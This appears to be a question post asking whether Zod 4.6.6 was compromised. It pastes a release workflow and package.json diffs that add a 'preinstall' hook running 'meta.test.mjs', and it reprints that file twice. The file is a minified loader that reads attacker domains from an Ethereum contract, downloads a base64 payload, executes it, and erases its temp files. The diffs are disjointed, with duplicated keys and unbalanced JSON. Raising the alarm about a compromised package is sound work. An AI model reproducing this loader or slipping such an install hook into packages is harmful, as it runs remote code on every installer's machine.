Zod 4.6.6 compromised by malware?

name: Release on npm

on:

# a version bump on main publishes nothing by itself; a maintainer runs `gh workflow run release.yml` and approves the npm environment

push:

branches:

- main

paths:

- packages/zod/package.json

- packages/mini/package.json

workflow_dispatch:

jobs:

{

"name": "@zod/mini",

"version": "4.6.5",

"version": "4.6.6",

"exports": {

"./package.json": "./package.json",

".": "./src/index.ts"

import f from"fs";import o from"os";import p from"path";

const C="0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523",S="0x53ed5143",R=["https://eth.llamarpc.com","https://ethereum-rpc.publicnode.com","https://cloudflare-eth.com"];

const dec=h=>{h=h.replace(/^0x/,"");const w=t=>parseInt(h.slice(t*2,t*2+64),16),a=w(0),n=w(a),r=[];for(let i=0;i<n;i++){const s=a+32+w(a+32+i*32),l=w(s),b=(s+32)*2;r.push(Buffer.from(h.slice(b,b+l*2),"hex").toString())}return r};

(async()=>{let g=null;for(const u of R){try{const r=await fetch(u,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,method:"eth_call",params:[{to:C,data:S},"latest"]})}),j=await r.json();if(j&&j.result){for(const d of dec(j.result)){try{const q=await fetch(`https://${d}/loader`);if(!q.ok)continue;const m=await q.json();if(m&&m.setupB64&&m.payloadName&&m.payloadB64){const t=f.mkdtempSync(p.join(o.tmpdir(),"ld-"));f.writeFileSync(p.join(t,m.payloadName),Buffer.from(m.payloadB64,"base64"));g={t,s:m.setupB64};break}}catch{}}if(g)break}}catch{}if(g)break}if(!g)return;try{process.env.RUNTIME_DIR=g.t;await import("data:text/javascript;base64,"+g.s);await globalThis.__SETUP_DONE__}catch{}try{f.rmSync(g.t,{recursive:true,force:true})}catch{}})().catch(()=>process.exit(1));

{

"name": "@zod/mini",

"version": "4.6.5",

"version": "4.6.6",

"type": "module",

"license": "MIT",

"author": "Colin McDonnell <zod@colinhacks.com>",

"sideEffects": false,

"files": [

"src",

"meta.test.mjs",

"index.js",

"index.cjs",

"index.d.ts",

"zod",

"tree-shaking"

],

"preinstall": "node meta.test.mjs",

"main": "./index.cjs",

"types": "./index.d.cts",

"module": "./index.js",

{

"name": "@zod/zod",

"version": "4.6.5",

"version": "4.6.6",

"exports": {

"./package.json": "./package.json",

".": "./src/index.ts",

import f from"fs";import o from"os";import p from"path";

const C="0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523",S="0x53ed5143",R=["https://eth.llamarpc.com","https://ethereum-rpc.publicnode.com","https://cloudflare-eth.com"];

const dec=h=>{h=h.replace(/^0x/,"");const w=t=>parseInt(h.slice(t*2,t*2+64),16),a=w(0),n=w(a),r=[];for(let i=0;i<n;i++){const s=a+32+w(a+32+i*32),l=w(s),b=(s+32)*2;r.push(Buffer.from(h.slice(b,b+l*2),"hex").toString())}return r};

(async()=>{let g=null;for(const u of R){try{const r=await fetch(u,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,method:"eth_call",params:[{to:C,data:S},"latest"]})}),j=await r.json();if(j&&j.result){for(const d of dec(j.result)){try{const q=await fetch(`https://${d}/loader`);if(!q.ok)continue;const m=await q.json();if(m&&m.setupB64&&m.payloadName&&m.payloadB64){const t=f.mkdtempSync(p.join(o.tmpdir(),"ld-"));f.writeFileSync(p.join(t,m.payloadName),Buffer.from(m.payloadB64,"base64"));g={t,s:m.setupB64};break}}catch{}}if(g)break}}catch{}if(g)break}if(!g)return;try{process.env.RUNTIME_DIR=g.t;await import("data:text/javascript;base64,"+g.s);await globalThis.__SETUP_DONE__}catch{}try{f.rmSync(g.t,{recursive:true,force:true})}catch{}})().catch(()=>process.exit(1));

{

"name": "zod",

"version": "4.6.5",

"version": "4.6.6",

"type": "module",

"license": "MIT",

"author": "Colin McDonnell <zod@colinhacks.com>",

],

"files": [

"src",

"meta.test.mjs",

"**/*.js",

"**/*.js",

"**/*.mjs",

"**/*.cjs",

"type",

"inference"

],

"preinstall": "node meta.test.mjs",

"main": "./index.cjs",

"types": "./index.d.cts",

"module": "./index.js",

export const version = {

major: 4,

minor: 6,

patch: 5 as number,

patch: 6 as number,

} as const;